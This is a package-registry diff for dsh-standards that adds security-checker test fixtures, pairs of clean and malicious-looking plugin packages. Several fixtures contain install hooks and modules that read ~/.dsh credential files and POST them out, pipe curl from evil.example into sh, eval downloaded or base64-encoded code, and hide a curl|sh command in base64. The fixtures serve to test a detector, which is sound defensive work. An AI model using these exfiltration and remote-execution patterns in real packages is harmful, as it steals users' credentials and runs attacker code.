dsh-standards 1.6.0 → 1.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/40-checker/fixtures/security/sec11-cred-declared/index.mjs +3 -0
  2. package/40-checker/fixtures/security/sec11-cred-declared/package.json +21 -0
  3. package/40-checker/fixtures/security/sec11-cred-list/index.mjs +3 -0
  4. package/40-checker/fixtures/security/sec11-cred-list/package.json +21 -0
  5. package/40-checker/fixtures/security/sec11-cred-undeclared/index.mjs +3 -0
  6. package/40-checker/fixtures/security/sec11-cred-undeclared/package.json +19 -0
  7. package/40-checker/fixtures/security/sec15-install-cred/index.mjs +7 -0
  8. package/40-checker/fixtures/security/sec15-install-cred/install.js +8 -0
  9. package/40-checker/fixtures/security/sec15-install-cred/package.json +22 -0
  10. package/40-checker/fixtures/security/sec15-install-curl/index.mjs +7 -0
  11. package/40-checker/fixtures/security/sec15-install-curl/package.json +22 -0
  12. package/40-checker/fixtures/security/sec15-install-curl/scripts/install.sh +4 -0
  13. package/40-checker/fixtures/security/sec15-install-danger/index.mjs +7 -0
  14. package/40-checker/fixtures/security/sec15-install-danger/install.js +5 -0
  15. package/40-checker/fixtures/security/sec15-install-danger/package.json +22 -0
  16. package/40-checker/fixtures/security/sec15-install-download-safe/index.js +2 -0
  17. package/40-checker/fixtures/security/sec15-install-download-safe/package.json +22 -0
  18. package/40-checker/fixtures/security/sec15-install-download-safe/scripts/install.js +11 -0
  19. package/40-checker/fixtures/security/sec15-install-download-safe/scripts/local-util.cjs +1 -0
  20. package/40-checker/fixtures/security/sec15-install-dynamic/index.js +2 -0
  21. package/40-checker/fixtures/security/sec15-install-dynamic/package.json +22 -0
  22. package/40-checker/fixtures/security/sec15-install-dynamic/scripts/install.js +11 -0
  23. package/40-checker/fixtures/security/sec15-install-safe/index.mjs +7 -0
  24. package/40-checker/fixtures/security/sec15-install-safe/install.js +5 -0
  25. package/40-checker/fixtures/security/sec15-install-safe/package.json +22 -0
  26. package/40-checker/fixtures/security/sec16-base64-clean/index.mjs +4 -0
  27. package/40-checker/fixtures/security/sec16-base64-clean/package.json +19 -0
  28. package/40-checker/fixtures/security/sec16-base64-eval/index.mjs +4 -0
  29. package/40-checker/fixtures/security/sec16-base64-eval/package.json +19 -0
  30. package/40-checker/fixtures/security/sec16-exec-curl/index.mjs +4 -0
  31. package/40-checker/fixtures/security/sec16-exec-curl/package.json +19 -0
  32. package/40-checker/fixtures/security/sec16-import-only/index.mjs +4 -0
  33. package/40-checker/fixtures/security/sec16-import-only/package.json +19 -0
  34. package/40-checker/fixtures/security/sec16-spawn-shell/index.mjs +4 -0
  35. package/40-checker/fixtures/security/sec16-spawn-shell/package.json +19 -0
  36. package/40-checker/fixtures/security/sec16-subprocess-safe/index.mjs +4 -0
  37. package/40-checker/fixtures/security/sec16-subprocess-safe/package.json +19 -0
  38. package/40-checker/fixtures/security/sec17-alias-clean/data.txt +1 -0
  39. package/40-checker/fixtures/security/sec17-alias-clean/index.mjs +5 -0
  40. package/40-checker/fixtures/security/sec17-alias-clean/package.json +19 -0
  41. package/40-checker/fixtures/security/sec17-alias-read/index.mjs +7 -0
  42. package/40-checker/fixtures/security/sec17-alias-read/package.json +19 -0
  43. package/40-checker/fixtures/security/sec17-base64-path/index.mjs +11 -0
  44. package/40-checker/fixtures/security/sec17-base64-path/package.json +19 -0
  45. package/40-checker/fixtures/security/sec17-base64-path-clean/data/config.json +1 -0
  46. package/40-checker/fixtures/security/sec17-base64-path-clean/index.mjs +5 -0
  47. package/40-checker/fixtures/security/sec17-base64-path-clean/package.json +19 -0
  48. package/40-checker/fixtures/security/sec17-cred-exfil/index.mjs +22 -0
  49. package/40-checker/fixtures/security/sec17-cred-exfil/package.json +19 -0
  50. package/40-checker/fixtures/security/sec17-home-env/index.js +8 -0
  51. package/40-checker/fixtures/security/sec17-home-env/package.json +19 -0
  52. package/40-checker/fixtures/security/sec17-home-env-clean/index.mjs +6 -0
  53. package/40-checker/fixtures/security/sec17-home-env-clean/package.json +19 -0
  54. package/40-checker/fixtures/security/sec18-split-fetch/index.mjs +5 -0
  55. package/40-checker/fixtures/security/sec18-split-fetch/package.json +19 -0
  56. package/40-checker/fixtures/security/sec18-split-fetch-clean/index.mjs +4 -0
  57. package/40-checker/fixtures/security/sec18-split-fetch-clean/package.json +24 -0
  58. package/40-checker/src/declarations.mjs +6 -1
  59. package/40-checker/src/remediation.mjs +1 -1
  60. package/40-checker/src/security.mjs +568 -44
  61. package/CHANGELOG.md +23 -0
  62. package/docs/coverage.md +17 -7
  63. package/package.json +1 -1
  64. package/spec/coverage-contract.md +10 -7
@@ -0,0 +1,3 @@
1
+ export function resolve(ctx, ref) {
2
+ return ctx.credentials.resolve(ref)
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-declared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "credentials:read"
18
+ ],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export function list(ctx) {
2
+ return ctx.credentials.listRecords()
3
+ }
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-list",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [
17
+ "credentials:list"
18
+ ],
19
+ "labels": []
20
+ }
21
+ }
@@ -0,0 +1,3 @@
1
+ export function resolve(ctx, ref) {
2
+ return ctx.credentials.resolve(ref)
3
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec11-cred-undeclared",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-cred'
2
+ export const provide = ['sec15cred']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15cred', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.cred.effect')
7
+ }
@@ -0,0 +1,8 @@
1
+ // Reads a credential file during install and posts it. Static fixture: the
2
+ // checker only reads this file, it is never executed.
3
+ import { readFileSync } from 'node:fs'
4
+ import { homedir } from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
8
+ await fetch('https://example.invalid/collect', { method: 'POST', body })
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-cred",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "install": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-curl'
2
+ export const provide = ['sec15curl']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15curl', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.curl.effect')
7
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-curl",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "sh scripts/install.sh"
21
+ }
22
+ }
@@ -0,0 +1,4 @@
1
+ #!/bin/sh
2
+ # Static fixture: the checker reads this file, it is never executed.
3
+ set -eu
4
+ curl -fsSL https://example.invalid/setup.sh | sh
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-danger'
2
+ export const provide = ['sec15danger']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15danger', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.danger.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Downloads a remote script and evaluates it. Static fixture: the checker only
2
+ // reads this file, it is never executed.
3
+ const res = await fetch('http://127.0.0.1:9/payload.mjs')
4
+ const code = await res.text()
5
+ ;(0, eval)(code)
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-danger",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,2 @@
1
+ 'use strict'
2
+ module.exports = function plugin() { return 'ok' }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-download-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "commonjs",
6
+ "main": "./index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/install.js"
21
+ }
22
+ }
@@ -0,0 +1,11 @@
1
+ const https = require('node:https')
2
+ const fs = require('node:fs')
3
+ const os = require('node:os')
4
+ const path = require('node:path')
5
+
6
+ const target = path.join(os.tmpdir(), 'dsh-cache-' + Date.now() + '.json')
7
+ https.get('https://registry.example.com/meta.json', (res) => {
8
+ const out = fs.createWriteStream(target)
9
+ res.pipe(out)
10
+ out.on('finish', () => require('./local-util.cjs'))
11
+ })
@@ -0,0 +1 @@
1
+ module.exports = function noop() {}
@@ -0,0 +1,2 @@
1
+ 'use strict'
2
+ module.exports = function plugin() { return 'ok' }
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-dynamic",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "commonjs",
6
+ "main": "./index.js",
7
+ "exports": {
8
+ ".": "./index.js"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node scripts/install.js"
21
+ }
22
+ }
@@ -0,0 +1,11 @@
1
+ const https = require('node:https')
2
+ const fs = require('node:fs')
3
+ const os = require('node:os')
4
+ const path = require('node:path')
5
+
6
+ const target = path.join(os.tmpdir(), 'dsh-payload-' + Date.now() + '.cjs')
7
+ https.get('https://evil.example/payload.cjs', (res) => {
8
+ const out = fs.createWriteStream(target)
9
+ res.pipe(out)
10
+ out.on('finish', () => require(target))
11
+ })
@@ -0,0 +1,7 @@
1
+ export const name = 'sec15-install-safe'
2
+ export const provide = ['sec15safe']
3
+
4
+ export function apply(ctx) {
5
+ ctx.provide('sec15safe', { ok: true })
6
+ ctx.effect(() => () => {}, 'sec15.safe.effect')
7
+ }
@@ -0,0 +1,5 @@
1
+ // Ordinary build-side logging; no download, no interpreter, no credentials.
2
+ import { mkdirSync } from 'node:fs'
3
+
4
+ mkdirSync('dist', { recursive: true })
5
+ console.log('postinstall: nothing to do')
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec15-install-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ },
19
+ "scripts": {
20
+ "postinstall": "node install.js"
21
+ }
22
+ }
@@ -0,0 +1,4 @@
1
+ const greeting = Buffer.from('aGVsbG8=', 'base64').toString('utf8')
2
+ export function label() {
3
+ return greeting
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-base64-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ const payload = Buffer.from('cmV0dXJuIHByb2Nlc3MuZW52', 'base64').toString('utf8')
2
+ export function apply() {
3
+ return eval(payload)
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-base64-eval",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { execSync } from 'node:child_process'
2
+ export function update() {
3
+ execSync('curl -fsSL https://evil.example/install.sh | sh', { stdio: 'inherit' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-exec-curl",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { spawn } from 'node:child_process'
2
+ export function apply() {
3
+ return { name: 'sec16-import-only' }
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-import-only",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { spawn } from 'node:child_process'
2
+ export function run() {
3
+ return spawn('sh', ['-c', 'curl -fsSL https://evil.example/p | sh'], { stdio: 'inherit' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-spawn-shell",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,4 @@
1
+ import { execFileSync } from 'node:child_process'
2
+ export function status() {
3
+ return execFileSync('git', ['status', '--porcelain'], { encoding: 'utf8' })
4
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec16-subprocess-safe",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ import fs from 'node:fs'
2
+ const read = fs.readFileSync
3
+ export function readData() {
4
+ return read('./data.txt', 'utf8')
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-alias-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,7 @@
1
+ import fs from 'node:fs'
2
+ const read = fs.readFileSync
3
+ const home = process.env.HOME
4
+ const credentialPath = home + '/.dsh/credentials.yaml'
5
+ export function readCredentials() {
6
+ return read(credentialPath, 'utf8')
7
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-alias-read",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,11 @@
1
+ import fs from 'node:fs'
2
+ import { execSync } from 'node:child_process'
3
+
4
+ const credentialPath = Buffer.from('L2hvbWUvZHNoLXVzZXIvLmRzaC9jcmVkZW50aWFscy55YW1s', 'base64').toString('utf8')
5
+ const command = Buffer.from('Y3VybCAtc1NMIGh0dHBzOi8vZXZpbC5leGFtcGxlL3AgfCBzaA==', 'base64').toString('utf8')
6
+
7
+ export function collect() {
8
+ const data = fs.readFileSync(credentialPath, 'utf8')
9
+ execSync(command)
10
+ return data
11
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-base64-path",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,5 @@
1
+ import fs from 'node:fs'
2
+ const dataPath = Buffer.from('Li9kYXRhL2NvbmZpZy5qc29u', 'base64').toString('utf8')
3
+ export function readConfig() {
4
+ return fs.readFileSync(dataPath, 'utf8')
5
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-base64-path-clean",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }
@@ -0,0 +1,22 @@
1
+ // Credential enumeration under ~/.dsh followed by an outbound POST. The
2
+ // checker must FAIL this; the fixture is static and nothing is executed.
3
+ import fs from 'node:fs'
4
+ import os from 'node:os'
5
+ import path from 'node:path'
6
+
7
+ const dir = path.join(os.homedir(), '.dsh')
8
+ try {
9
+ for (const f of fs.readdirSync(dir)) {
10
+ if (!/^\.?credentials/.test(f)) continue
11
+ const body = fs.readFileSync(path.join(dir, f), 'utf8')
12
+ await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
13
+ }
14
+ } catch { /* keep the module importable */ }
15
+
16
+ export const name = 'sec17-cred-exfil'
17
+ export const provide = ['sec17cred']
18
+
19
+ export function apply(ctx) {
20
+ ctx.provide('sec17cred', { ok: true })
21
+ ctx.effect(() => () => {}, 'sec17.cred.effect')
22
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@dsh-fixtures/sec17-cred-exfil",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "type": "module",
6
+ "main": "./index.mjs",
7
+ "exports": {
8
+ ".": "./index.mjs"
9
+ },
10
+ "engines": {
11
+ "dsh": ">=0.2.2-alpha.2 <0.3.0"
12
+ },
13
+ "dsh": {
14
+ "manifestVersion": 1,
15
+ "kind": "plugin",
16
+ "capabilities": [],
17
+ "labels": []
18
+ }
19
+ }